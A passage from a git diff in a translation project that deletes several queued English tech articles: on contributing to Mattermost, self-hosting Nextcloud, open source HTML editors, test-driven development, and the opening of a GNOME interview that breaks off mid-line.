Go, includes the API, data model, logging, and more - * **Webapp:** Written in React (JavaScript library), includes all components and actions of the Mattermost user interface  - * **Mobile apps:** Written in React Native (JavaScript library), includes all components and actions of the mobile apps on iOS and Android - * **Desktop apps:** Written on top of the Electron framework for Windows, macOS, and Linux clients - * **Redux:** Written in JavaScript and TypeScript, includes storage, web utilities, and logic for webapp and React Native mobile clients - - - -Contribute in four steps: - - 1. Sign up to our Mattermost community site and join the Contributors channel for questions. - 2. Set up your developer environment by following our instructions. If you're working on mobile apps, you'll also need a mobile dev environment. - 3. Choose a [help-wanted ticket][15] and comment to let people know you're working on it. If there's no ticket for what you want to work on, follow the contributions without tickets process. - 4. Start developing! Check out our [developer flow][16] for tips, and review our [checklist for pull requests][17] when your changes are ready. If it's your first contribution, there is a standard contributor license agreement ([CLA][18]) to sign. - - - -### Integrations - -Create a host of technologies to empower Mattermost to solve real-world problems. These include: - - * **Self-hosted integration solutions:** Include connectivity and integration with third-party applications such as Jira, Jitsi, GitLab, Jenkins, and other tools - * **SaaS-based integration solutions:** Include connectivity and integration with services like Twitter, Zendesk, Salesforce, and hundreds of other extensions with services like Zapier - * **Federated experiences:** Include bridges with IRC, Slack, and other messaging applications through solutions like [Matterbridge][19] - * **Programming solutions:** Include language-specific drivers and connectors to simplify the work of other developers - * **Mattermost user-experience plugins:** Include server- and client-side plugins that enhance the native capabilities of a Mattermost server, such as voice, video, and screen sharing - * **Custom user experiences:** Include integrations into Terminal like [Matterhorn][20] and [Pidgin][21] built off the same core [Mattermost APIs][22] - - - -Contribute in four steps: - - 1. Sign up to our Mattermost community site and join the [Developer Toolkit channel][23] for questions. - 2. Visit the Mattermost Integrations Directory for a current list of open source integrations and projects to get ideas on how to get started. - 3. Start developing! Read our [integrations guide][24] for tips on how to integrate with the Mattermost server. - 4. Have you built something for Mattermost? We want to hear about it! [Let us know here][25]. - - - -### Localization - -Today, Mattermost ships in 16 languages, and 26 other languages are in progress by hundreds of contributors. If you're interested in translating, here's how to get involved: - - 1. Sign up to our Mattermost community site and join the Localization channel for questions. - 2. Sign up to our translations server. - 3. Choose your language. If the language is already listed in the translations server, you can offer help by translating, reviewing, or making suggestions to existing strings. If it's not listed, ask in the Localization channel to set up your language. - 4. Start translating! Read our Localization documentation for more information on the translation rules and maintenance process. - - - -### Documentation - -Write software and troubleshooting documentation used by thousands of people across the world. These include: - - * **[Product documentation][26]:** Includes feature documentation for users and administrators, including troubleshooting notes and frequently asked questions - * **[Developer documentation][11]:** Includes documentation for contributor and developer workflows, integrations, and extensions - * **[API documentation][22]:** Includes documentation of the RESTful API used by the Mattermost platform - - - -Contribute in three steps: - - 1. Sign up to our Mattermost community site and join the [Documentation channel][27] for questions. - 2. Choose a [ticket][15] and comment to let people know you're working on it. See the [process][28] for contributing. - 3. Review our [documentation guidelines][29] for tips on how to create effective docs. Note that if it is your first pull request, you will be asked to sign a standard [CLA][18]. - - - -### Peer-to-peer support and feedback - -Not a developer but still want to contribute to open source? No problem! In addition to localization and documentation mentioned above, you can: - - * **Report bugs:** Sign up to our Mattermost community site and join the [Bugs channel][30] for questions. Then, go to our [GitHub page][2] and open a new issue in the relevant repository. Read our docs on [steps for filing bugs][31]. - * **Test and find issues:** Go to our [community test server][32] or any of Mattermost's open source codebases to test and find issues. If you find a bug, go to our GitHub page and open a new issue in the relevant repository. Read our docs on [steps for filing bugs][31]. - * **Troubleshoot issues:** Sign up to our Mattermost community site and join the [Peer-to-Peer Help channel][33] to help answer questions. Follow questions in Mattermost [Forums][34] and GitHub Issues to help others. - * **Suggest new features:** Sign up to our Mattermost community site and join the [Feature Proposals channel][35] to ask questions. Then, go to [Uservoice][36] to propose new features. Read our docs on [contributing feature proposals][37]. - * **Share feedback:** Sign up to our Mattermost community site and join the Peer-to-Peer Help channel to ask questions and share feedback about Mattermost. - - - -### Security vulnerabilities - -Safety and data security are top priorities for the Mattermost community. If you are a security researcher and discover a security vulnerability in our codebase, we appreciate your help in disclosing it to us in a responsible manner. - -If the security bug you found is valid, the fix will be posted on our [Security Updates][38] page 30 days after its release, and you will be added to our [Security Research Hall of Fame][14]. If you'd like, we will publicly acknowledge your responsible disclosure. If not, you can remain anonymous. - -Here's how to contribute through our [responsible disclosure policy][14]: - - 1. Contact us to report any security vulnerabilities found in any of Mattermost's open source codebases or any of our commercial offerings. - 2. We will let you know if your report is reproducible as an exploit and results in a change to a Mattermost product's codebase or documentation. - - - -After a fix is made, we ask security researchers to wait 30 days after a release before announcing the specific details of a vulnerability and to provide Mattermost with a link to any such announcements. - -### Getting help - -If you have any questions or need help getting started, join our [Mattermost Contributors channel][39]. You can reach me at @jason.blais. See you there! - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/7/mattermost - -作者:[Jason Blais][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/jasonblais -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/talk_chat_communication_team.png?itok=CYfZ_gE7 (Chat bubbles) -[2]: https://github.com/mattermost -[3]: https://opensource.com/downloads/cheat-sheet-markdown -[4]: https://mattermost.com/download/#mattermostApps -[5]: https://opensource.com/sites/default/files/uploads/mattermostui.png (Mattermost user interface on Linux Desktop App) -[6]: https://creativecommons.org/licenses/by-sa/4.0/ -[7]: https://www.redhat.com/en/enterprise-open-source-report/2020 -[8]: https://developers.mattermost.com/contribute/team_contributions/ -[9]: https://github.com/mattermost/mattermost-server/issues?q=label%3A%22Help+Wanted%22+label%3A%22Good+First+Issue%22+label%3A%22Up+For+Grabs%22+is%3Aopen+is%3Aissue+ -[10]: https://developers.mattermost.com/contribute/getting-started/ -[11]: https://developers.mattermost.com/ -[12]: https://handbook.mattermost.com/contributors/contributors/community -[13]: https://mattermost.com/contribute/ -[14]: https://mattermost.com/security-vulnerability-report/ -[15]: https://github.com/mattermost/mattermost-server/issues?q=is%3Aissue+is%3Aopen+label%3A%22Up+For+Grabs%22 -[16]: https://developers.mattermost.com/contribute/server/developer-workflow/ -[17]: https://developers.mattermost.com/contribute/getting-started/contribution-checklist/ -[18]: https://www.mattermost.org/mattermost-contributor-agreement/ -[19]: https://github.com/42wim/matterbridge -[20]: https://github.com/matterhorn-chat/matterhorn -[21]: https://github.com/EionRobb/purple-mattermost/ -[22]: https://api.mattermost.com/ -[23]: https://community.mattermost.com/core/channels/developer-toolkit -[24]: https://developers.mattermost.com/integrate/getting-started/ -[25]: https://www.mattermost.org/share-your-mattermost-projects/ -[26]: http://docs.mattermost.com/ -[27]: https://community.mattermost.com/core/channels/documentation -[28]: https://github.com/mattermost/docs#contributing -[29]: https://handbook.mattermost.com/operations/operations/publishing/publishing-guidelines/voice-tone-and-writing-style-guidelines -[30]: https://community.mattermost.com/core/channels/bugs -[31]: https://www.mattermost.org/filing-issues/ -[32]: https://rc.test.mattermost.com/ -[33]: https://community.mattermost.com/core/channels/peer-to-peer-help -[34]: https://forum.mattermost.org/ -[35]: https://community.mattermost.com/core/channels/feature-ideas -[36]: https://mattermost.uservoice.com/forums/306457-general -[37]: https://www.mattermost.org/feature-ideas/ -[38]: https://mattermost.com/security-updates/ -[39]: https://community-release.mattermost.com/core/channels/tickets diff --git a/sources/tech/20200723 Build your own open source alternative to Google Suite with Nextcloud.md b/sources/tech/20200723 Build your own open source alternative to Google Suite with Nextcloud.md deleted file mode 100644 index 87cbc1a101..0000000000 --- a/sources/tech/20200723 Build your own open source alternative to Google Suite with Nextcloud.md +++ /dev/null @@ -1,127 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Build your own open source alternative to Google Suite with Nextcloud) -[#]: via: (https://opensource.com/article/20/7/nextcloud) -[#]: author: (Don Watkins https://opensource.com/users/don-watkins) - -Build your own open source alternative to Google Suite with Nextcloud -====== -The open source cloud collaboration suite has made major gains in recent -years. Take a look at what you've missed. -![Digital images of a computer desktop][1] - -A few years ago, I installed [Nextcloud][2] for a local theatre and museum that was looking for an on-premises cloud solution. As an advocate for open source, I always seek out open source options first, and Nextcloud was the most-common open source cloud solution among my peers. I've also used it for some personal projects, but I hadn't looked at it in a while. - -I recently revisited Nextcloud and was amazed by all the changes I saw. The project has evolved into a complete solution that can replace big-name solutions like Google Drive and Microsoft 365. Nextcloud's new feature set, especially [Nextcloud Hub][3], is outstanding, offering collaborative documentation editing, file version control, integrated chat and video calling, and more. - -### Getting started with Nextcloud - -There are many options for [setting up a Nextcloud server on Linux][4], but I decided to run the official [container image][5]. I pulled it down to my laptop, and soon I was up and running. - - -``` -$ docker pull nextcloud -$ docker run -d -p 8080:80 nextcloud -``` - -Installation was quick on my MacBook Pro with 8GB RAM. In no time at all, I was logging into Nextcloud for the first time at `http://locahost:8080` with the default credentials of _admin_ and _password_. - -![Nextcloud login interface][6] - -(Don Watkins, [CC BY-SA 4.0][7]) - -After I entered my login credentials, it began downloading some applications, which took some time. I appreciated that Nextcloud's interface looked much the same as it did years ago, even with all the changes in the platform, because I like to feel familiar with a technology. - -![Nextcloud's UI][8] - -(Don Watkins, [CC BY-SA 4.0][7]) - -Nextcloud's controls are located in the upper-right corner. You can control settings, add apps, create and modify users, learn about Nextcloud, get help, and log out. - -Nextcloud Hub is a central collaboration platform where you can access and collaborate on files, launch, enable, and disable applications, manage your calendar, and more. - -I decided to start by exploring the apps available in Nextcloud. Some app integrations are included by default, and you can download others with a single click. For example, here is the display when I clicked the top-right icon, then selected Apps and Multimedia. - -![Nextcloud multimedia apps][9] - -(Don Watkins, [CC BY-SA 4.0][7]) - -There are hundreds of apps that can be downloaded and added to Nextcloud, and, like Nextcloud, all are licensed under the [AGPLv3][10]. Clicking on an app shows information about it, including its creator and license. I decided to look at [Audio Player][11]. - -![Nextcloud Audio Player][12] - -(Don Watkins, [CC BY-SA 4.0][7]) - -Nextcloud also comes with the [Nextcloud Talk][13] app for videoconferencing with complete end-to-end encryption to keep communication within your control. As of Nextcloud Hub 19, you can work on documents synchronously during video calls with [Collabora Online][14], which will feel familiar to Google Docs users. - -Nextcloud also has a number of important security features, including optional automatic logout, which is useful when using public computers. You can also set up passwordless authentication, automatic account locking after failed login attempts, and two-factor authentication (2FA) through mobile, email, or one-time password devices to verify users' identity before they can log in. - -### Nextcloud's advances - -Eager to learn more about Nextcloud and its new directions, I reached out to CEO [Frank Karlitschek][15] to ask him some questions by email. - -During this time of social distancing, I was curious about how the growth of remote work is fueling Nextcloud's development. Frank says the fact that the world is [working from home][16] is accelerating the adoption of content collaboration software, and Nextcloud is "in the lucky situation that we heavily invested in this fast-growing product category." He specifically cites Nextcloud's abilities to sync, share, and collaboratively view and edit files, as well as its shared calendars, contacts, email, chats, video calls, project management, notes, and many more things as features that help people work together. - -Frank adds, "Nextcloud Talk is our solution for chat and audio and video calls. It has the same benefits as the rest of Nextcloud. All data and communication stay under your control. It is fully open source; you can migrate your data and don't need to trust a third-party company." - -Open source is a key part of Nextcloud's model, Frank says. "Everything server-side is licensed AGPL, and the desktop and mobile clients are licensed GPL. We are happy to not have any proprietary pieces. Everything at Nextcloud is fully free software and open source." - -When I asked him why someone should choose Nextcloud over a proprietary cloud solution, Frank emphasizes the freedom to run where you want with 100% open source software. "Being open source has many benefits for users. It means you can keep your data under your own control. You can run Nextcloud wherever you want. Vendor lock-in is eliminated, so you can move your data around to where you need it. The open source code in Nextcloud ensures that there are no backdoors because the code can be audited. The open source angle has also empowered developers to extend Nextcloud with hundreds of apps, extensions, and plugins." - -I was also curious about Nextcloud's security, including its support for [Nitrokey][17], a feature for passwordless authentication. Frank says, "Nextcloud supports authentication from many different protocols, including LDAP, Active Directory, SAML, OAuth, OpenID connect, WebAuthn, and many more. You can use second-factor authentication methods, including Time-based One-time Password (TOTP), SMS, push notification, SecSign, and email. With the new support for [WebAuthn][18], we also support the new passwordless authentication. Nitrokey already supports this, so you can just authenticate with a Nitrokey without a password. We expect that a lot more devices and software will support this new open standard in the future." - -As I thought about all the changes in Nextcloud, I wondered about its install base. Being open source makes it impossible to know how many Nextcloud installations there are in the world. One of its [container images][19] has over 100 million downloads, and it has a strong following in its source repository on [GitHub][20]. Nextcloud estimates there are over 400,000 Nextcloud servers on the internet, and that number is growing. - -Nextcloud doesn't provide hosting options itself, but it does list service [providers][21] that offer hosted Nextcloud. There are also many options for self-hosting Nextcloud, Frank says. "A Nextcloud server can be very small or very big. Actually, Nextcloud runs fine on a Raspberry Pi for just a few users. This includes chatting and video calling. The Nextcloud server needs a decent network connection if you handle big files or video calls with a lot of users." - -### Open source to its core - -Frank was eager to thank the open source community that comes together and builds great software. He said, "open source is all about the community; no single person or company could do this alone." Therefore, Nextcloud welcomes [contributions][22] to its development. Nextcloud's code is available on [GitHub][23]. To keep up with the latest information, you can follow Nextcloud on [Twitter][24], [Instagram][25], [Facebook][26], [LinkedIn][27], [Mastodon][28], and [YouTube][29]. - -Sandstorm's Jade Wang shares some of her favorite open source web apps that are self-hosted... - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/7/nextcloud - -作者:[Don Watkins][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/don-watkins -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/computer_desk_home_laptop_browser.png?itok=Y3UVpY0l (Digital images of a computer desktop) -[2]: https://nextcloud.com/ -[3]: https://nextcloud.com/hub/ -[4]: https://docs.nextcloud.com/server/19/admin_manual/installation/index.html -[5]: https://hub.docker.com/_/nextcloud/ -[6]: https://opensource.com/sites/default/files/uploads/nextcloud_login.png (Nextcloud login interface) -[7]: https://creativecommons.org/licenses/by-sa/4.0/ -[8]: https://opensource.com/sites/default/files/uploads/nextcloud_interface.png (Nextcloud's UI) -[9]: https://opensource.com/sites/default/files/uploads/nextcloud_multimedia-apps.png (Nextcloud multimedia apps) -[10]: https://www.gnu.org/licenses/agpl-3.0.en.html -[11]: https://apps.nextcloud.com/apps/audioplayer -[12]: https://opensource.com/sites/default/files/uploads/nextcloud_audio-player_0.png (Nextcloud Audio Player) -[13]: https://nextcloud.com/talk/ -[14]: https://nextcloud.com/collaboraonline/ -[15]: https://en.wikipedia.org/wiki/Frank_Karlitschek -[16]: https://opensource.com/tags/wfh -[17]: https://www.nitrokey.com/ -[18]: https://en.wikipedia.org/wiki/WebAuthn -[19]: https://hub.docker.com/r/linuxserver/nextcloud/ -[20]: https://github.com/nextcloud/server -[21]: https://nextcloud.com/providers/ -[22]: https://nextcloud.com/contribute/ -[23]: https://github.com/nextcloud -[24]: https://twitter.com/nextclouders -[25]: https://instagram.com/nextclouders -[26]: https://www.facebook.com/Nextclouders/ -[27]: https://www.linkedin.com/company/10827569/ -[28]: https://mastodon.xyz/@nextcloud -[29]: https://youtube.com/nextcloud diff --git a/sources/tech/20200726 Dreamweaver Alternatives- 5 Open Source HTML and CSS Editors for Web Developers and Designers.md b/sources/tech/20200726 Dreamweaver Alternatives- 5 Open Source HTML and CSS Editors for Web Developers and Designers.md deleted file mode 100644 index 0eace81ea0..0000000000 --- a/sources/tech/20200726 Dreamweaver Alternatives- 5 Open Source HTML and CSS Editors for Web Developers and Designers.md +++ /dev/null @@ -1,203 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Dreamweaver Alternatives: 5 Open Source HTML and CSS Editors for Web Developers and Designers) -[#]: via: (https://itsfoss.com/open-source-html-editors/) -[#]: author: (Ankush Das https://itsfoss.com/author/ankush/) - -Dreamweaver Alternatives: 5 Open Source HTML and CSS Editors for Web Developers and Designers -====== - -Adobe Dreamweaver is a popular tool for professionals to design websites. Even though it enjoyed all its glory in the past decade, it’s no longer the most popular tool out there (at least, as far as I’m aware of). - -Its expensive subscription plans and the availability of free and open-source alternatives has left an impact to its popularity. - -Moreover, with the growth of popular [open source CMS][1] options and drag-drop website builders, it’s really easy to build a website when compared to the previous decade. - -Unless you’re a professional with a specific set of requirements, there’s no reason to use Dreamweaver. So, here, in this article, I’m going to list some of the best free open-source Dreamweaver alternatives that lets you edit HTML/CSS. - -### Open source HTML and CSS editors for web developers - -![][2] - -I understand that some web developers and designers prefer WYSIWYG (What You See Is What You Get) feature. Not all the editors mentioned here offer this feature but when they do, I have highlighted it explicitly. - -I have used [this website template][3] for testing out the HTML editors. This _**list is in no particular order of ranking**_. - -#### 1\. Bluefish Editor - -![][4] - -**Key Highlights:** - - * Auto-completion - * Preview in browser - * Site upload/download options - * Code block folding - * Support for several programming languages - * Supports WordPress language definition files - * Cross-platform support - - - -Bluefish is a feature-rich editor that’s perfectly suitable for both beginners and experienced web designers. - -Even though it does NOT offer [WYSIWYG][5], the browser preview feature lets you make changes to the coding and see it in action quickly without any special configuration. It’s also a lightweight application – so it isn’t heavy on resources. - -Try it out to explore more about it. - -##### How to install it? - -You may find it listed in your software center. If you don’t, you can follow the [official installation instructions][6] to add the repository and install it on your Linux distribution. - -Also, there’s a [Flatpak package][7] available in case you prefer using it. I’d suggest you to refer our [Flatpak guide][8] if you don’t know about it. - -[Bluefish][9] - -#### 2\. BlueGriffon - -![][10] - -**Key** **Highlights:** - - * **WYSIWYG** editor - * Black and light theme - * Responsive Design support - * EPUB 3.1 support - * Cross-platform support - - - -BlueGriffon is an impressive WYSIWYG HTML/CSS editor. You can choose to edit the codes and check the design or simply edit it visually without needing to fiddle with the codes. - -This is especially helpful for folks who aren’t comfortable with HTML/CSS and just starting out. It makes it easy to edit while offering all the necessary features for a web designer. - -##### How to install it? - -You can download the deb package from its [official website][11] or opt for other installers and source code depending on the Linux distribution you’re using. - -You may want to read the [different ways to install a DEB file][12] if you’re on an Ubuntu-based distro. - -[BlueGriffon][13] - -#### 3\. SeaMonkey - -![][14] - -**Key Highlights:** - - * WYSIWYG Editor - * Separate browser - * HTML editing - * Cross-platform support - - - -SeaMonkey isn’t your typical code editor — but it’s a collection of Internet applications like a browser, email, IRC chat, and HTML editor. - -It does support editing the source code of a web page and the ability to edit visually without needing to know HTML. - -You can explore more about it when you get it installed. - -##### How to install it? - -You can simply download the package for Linux available on their [official site][15] and run the executable SeaMonkey application file to get started. - -[SeaMonkey][16] - -#### 4\. Brackets - -![][17] - -**Key Highlights:** - - * Live preview option - * Tailored for web design - * Auto-completion - * Cross-platform - - - -Brackets is already one of the [best modern text editors for coding][18] in Linux. It was primarily built for web developers while also supporting other programming languages. - -Surprisingly, it’s an open-source project by Adobe, which isn’t super actively maintained — but it’s there. - -##### How to install it? - -You can simply grab the deb file from its [official website][19] for Ubuntu 19.10 or lower. For Ubuntu 20.04 or any other Linux distro, you will be better off using the [Flatpak package][20] or the [Snap][21]. - -You may also explore their [GitHub releases section][22] for other downloads. - -[Brackets][19] - -#### 5\. NetBeans - -![][23] - -**Key Highlights:** - - * HTML Editor - * Cross-platform - - - -NetBean isn’t technically an out-of-the-box HTML-CSS editor. But, you can use it as an HTML editor when building an HTML5 application. - -It isn’t the go-to solution for HTML editing, but it’s an option out there for a specific group of programmers. You can give it a try to see if it does what you expect it to. - -##### How to install it? - -You can find it listed in your software center. In either case, you can just head to the [official download page][24] to get it installed. - -[NetBeans][25] - -**Which HTML editor do you use?** - -There are a few more editors that you can use for editing HTML and CSS. There is [Aloha Editor Community Edition][26] preferred by some web developers. - -You can surely use other [modern code editors][18] like Atom and VS Code or the good-old [Geany text editor][27] to edit HTML and CSS files. - -If you regularly work on web design and development, which open source HTML editor do you use and recommend? We might add your recommendation to our list here. You may also mention non-open source WYSIWYG editors but that won’t be added in the list for obvious reasons. - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/open-source-html-editors/ - -作者:[Ankush Das][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/ankush/ -[b]: https://github.com/lujun9972 -[1]: https://itsfoss.com/open-source-cms/ -[2]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/07/Open-Source-html-editors.jpg?ssl=1 -[3]: https://www.styleshout.com/free-templates/kards/ -[4]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/07/bluefish.png?ssl=1 -[5]: https://en.wikipedia.org/wiki/WYSIWYG -[6]: https://bfwiki.tellefsen.net/index.php/Installing_Bluefish -[7]: https://www.flathub.org/apps/details/nl.openoffice.bluefish -[8]: https://itsfoss.com/flatpak-guide/ -[9]: http://bluefish.openoffice.nl/index.html -[10]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/07/bluegriffon.png?ssl=1 -[11]: http://www.bluegriffon.org/#download -[12]: https://itsfoss.com/install-deb-files-ubuntu/ -[13]: http://bluegriffon.org -[14]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/07/seamonkey.png?ssl=1 -[15]: http://www.seamonkey-project.org/releases/ -[16]: http://www.seamonkey-project.org -[17]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/07/brackets-dreamweaver-alternative.png?ssl=1 -[18]: https://itsfoss.com/best-modern-open-source-code-editors-for-linux/ -[19]: http://brackets.io/ -[20]: https://flathub.org/apps/details/io.brackets.Brackets -[21]: https://snapcraft.io/brackets -[22]: https://github.com/adobe/brackets/releases -[23]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/07/netbeans.jpg?ssl=1 -[24]: https://netbeans.apache.org/download/index.html -[25]: https://netbeans.apache.org/ -[26]: https://www.alohaeditor.org/ -[27]: https://www.geany.org/ diff --git a/sources/tech/20200727 What does it mean for code to -work.md b/sources/tech/20200727 What does it mean for code to -work.md deleted file mode 100644 index 5dedc38a6b..0000000000 --- a/sources/tech/20200727 What does it mean for code to -work.md +++ /dev/null @@ -1,91 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (What does it mean for code to "work"?) -[#]: via: (https://opensource.com/article/20/7/code-tdd) -[#]: author: (Alex Bunardzic https://opensource.com/users/alex-bunardzic) - -What does it mean for code to "work"? -====== -Test driven development (TDD) separates computing results from actions -to ensure your code does what you expect. -![Searching for code][1] - -Extreme Programming co-founder [Ron Jeffries][2] famously wrote: "The trick is never to let the code not be working." - -Jeffries' quote points at the fact that software engineering is a very sophisticated activity with plenty of uncertainty. Software engineering also deals with issues of incompleteness—at the outset, you never seem to have all information you need to formulate an optimal approach. There always comes a time, later in the project, when you learn something that shows that several things in your initial understanding were incorrect. In addition, even when you amass sufficient useful information to orient yourself properly, that information tends to contain ambiguity—communication is seldom, if ever, clear. Ambiguity seems to prevail in both verbal and written communication. - -Because of these constraints, the only safe way to proceed when developing software is to rely on the working code. The running, working code is the final oracle. It will tell you if you're doing the right thing and going in the right direction. - -### How do you know if the code is working? - -It is impossible to know if your code is working as designed if the code isn't running. To have code that compiles without errors and always runs without exceptions doesn't mean that the code is working. It could be doing all these activities while doing nothing of use. Therefore, the definition of working code is that it runs without any problems while doing something you expect it to do. - -The only way to find out if your code is working according to expectations is to focus on observable behavior. Merely reading and analyzing the source code is not sufficiently convincing; you need to see the code executing to judge whether its execution meets your expectations. - -There are two ways to measure observable behavior: - - 1. Watch the computer that is running your code perform some actions - 2. Test the running code for the computed values - - - -The first type of observable behavior (observing some actions being performed) is not the best way to ensure that your code works according to expectations. For example, you may observe that your code performed an action, such as sending an email. But that alone is not sufficient to confirm the code works according to expectations. What if the email the code is sending contains incorrect information? - -The only way to confirm that your code is working according to expectations is to observe the computed values. And that process (i.e., observing the computed values to see if they match the expected values) is where test-driven development (TDD) shines. - -### How does it feel to write software if the code is not working? - -Before I discovered TDD, I was spending long stretches of time writing code without worrying about whether the code was working or not. Every now and then, when I felt I had reached a milestone in coding, I would run the application I was working on. I'd log in as a fictitious user and manually trigger some actions to see if the program did what I told it to do. - -This approach is similar to measuring an iceberg by just gauging its tip—the part of the iceberg visible above the water. Although my manual testing provided a clean bill of health for the app, naturally, once it went into production, all kinds of bugs and defects started showing up (caused by the "below-the-waterline" part of the iceberg). - -Looking back, it is obvious that writing code without making it work all the time is similar to flying a kite. Flying a kite in a strong wind is exciting, even exhilarating. But the kite almost never touches the ground, and it is very challenging to control its direction in the strong wind. Also, it is almost impossible to land the kite at the exact spot you aim for. - -### How does it feel to write software when doing TDD? - -TDD is based on the idea that the way the code behaves should be independent from the way the code is structured. You are aiming at a desired behavior. While you're writing code, the desired behavior is not there (that's why it is called "desired"). You implement the desired behavior by first writing a test that describes it. Then you run that test, and it fails because the expected behavior is not implemented yet. The failure prompts you to fix it, which forces you to run the code again. If the changes you make to the code satisfy the expectations described in the test, you conclude that the code works according to your expectations. - -If the changes you make to the code do not satisfy the expectations described in the test, the code does not work, and you need to make more changes to the code until it works as expected. - -This process, when done consistently, feels like riding a galloping horse. Every now and then, a galloping horse touches the ground, which is equivalent to the moment when all tests pass in TDD. While the horse is "in flight," it is charging in a straight line. The horse is advancing, but there is no way to change its course. Only when the horse touches the ground does the horse rider get a chance to change the direction they're heading. - -Similarly, when writing code, you are "in flight." While you're coding, you have no way of verifying if you're going in the right direction. It is only when you stop coding, save your changes, and run the code that you can observe if your code is doing what you expect it to do. You are touching the ground each time you run your code. - -TDD is the discipline that guides you toward performing this reality check as often as possible. This minimizes your risk of shipping incorrect code. - -### You are the first customer of your application code - -Since you're writing a test that automates your expectations, you are the first customer of the application code. Actually, it's better to say that _your test_ is the first customer of your code. The test could be viewed as a customer who walks into a restaurant, and being hungry, orders a meal. When the customer orders, she has a specific meal in mind. The kitchen staff's job is to turn that customer's desire into reality. - -If the waiter delivers the meal and, after tasting it, the customer disagrees that the meal meets her expectations, she returns it to the kitchen. The staff modifies the meal until the customer is satisfied. But kitchen staff will never know if the meal is good unless they collect feedback from the customer. - -In a similar fashion, the only way to know if the code you're writing satisfies expectations is by collecting feedback from the test. - -### Conclusion - -The only way to know if the changes you are making to the code are advancing your app in the right direction is by making the code work. Mere review of the code, the act of reading the code, is never sufficient to reach a solid conclusion that the code is correct. - -Most developers prefer writing code in long stretches. But spending hours writing code means you're wasting hours not making the code work (recall Ron Jeffries' advice "The trick is never to let the code not be working"). You're letting the code not be working if you indulge in long code-writing sessions. - -TDD helps control that by focusing your attention on observable behavior. In TDD, you define expected values and continue interrogating your code to see if it computes those expected values. To confirm or refute the expectations, you must make the code work. The more often you do these "reality checks," the higher the probability that your efforts are going in the right direction. - -The transition from a stable, steady state (being ready) to the next stable, steady state (being ready again), should be as short as possible. TDD strives to help you always travel in a ready-to-ready fashion. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/7/code-tdd - -作者:[Alex Bunardzic][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/alex-bunardzic -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/search_find_code_python_programming.png?itok=ynSL8XRV (Searching for code) -[2]: https://en.wikipedia.org/wiki/Ron_Jeffries diff --git a/sources/tech/20200728 Why now is the best time to use GNOME.md b/sources/tech/20200728 Why now is the best time to use GNOME.md deleted file mode 100644 index 1a0f2ba2c9..0000000000 --- a/sources/tech/20200728 Why now is the best time to use GNOME.md +++ /dev/null @@ -1,106 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Why now is the best time to use GNOME) -[#]: via: (https://opensource.com/article/20/7/new-gnome-features) -[#]: author: (Jim Hall https://opensource.com/users/jim-hall) - -Why now is the best time to use GNOME -====== -GNOME developer Emmanuele Bassi explains the user experience updates in -the GNOME desktop environment. -![Take a look at the latest from GNOME 3][1] - -The GNOME desktop environment has been through many changes since its initial release in March 1999. For most of this time, the open source project has issued updates twice a year, which gives users predictability in when they can expect new features to land on their Linux and other Unix-like desktops. Its latest release, GNOME 3.36, came out in March, and the project is preparing to issue its next iteration in September. To learn about what's new in GNOME, I spoke with Emmanuele Bassi. - -Emmanuele has been contributing to GNOME for more than 15 years. He started as the maintainer of language bindings that allow developers to use GNOME libraries in other programming languages, then moved on to contribute to GTK (a cross-platform widget for developing GNOME apps) and other parts of GNOME. In 2018, GNOME hired Emmanuele as a full-time GTK Core Developer, where he works on GTK and the GNOME application development platform. - -**Jim Hall:** **GNOME 3.36 was released in March 2020. What are some of the major features people should know about?** - -**Emmanuele Bassi:** GNOME has followed a release schedule for the last 18 or so years. GNOME doesn't release when a new feature is ready; we release when it's time. That simplifies the new releases. There isn't a "next big thing" in GNOME. Instead, it's just a new release every six months. We always fix bugs, add new features, and polish up what's there. - -This release was really about making sure all the features were nice to use and pleasant to use. In GNOME 3.36, there's a lot that improves the user experience. One thing I like is the ability to turn off notifications. This is a feature that was available in a very old version of GNOME but was removed a while back because the mechanism underneath it wasn't very reliable. But we added it back because this feature is so useful and important to a lot of people. - -You can toggle notifications on and off for everything or set them for each application you use. You can find this setting in the GNOME Settings app, under the Applications menu. - -![GNOME 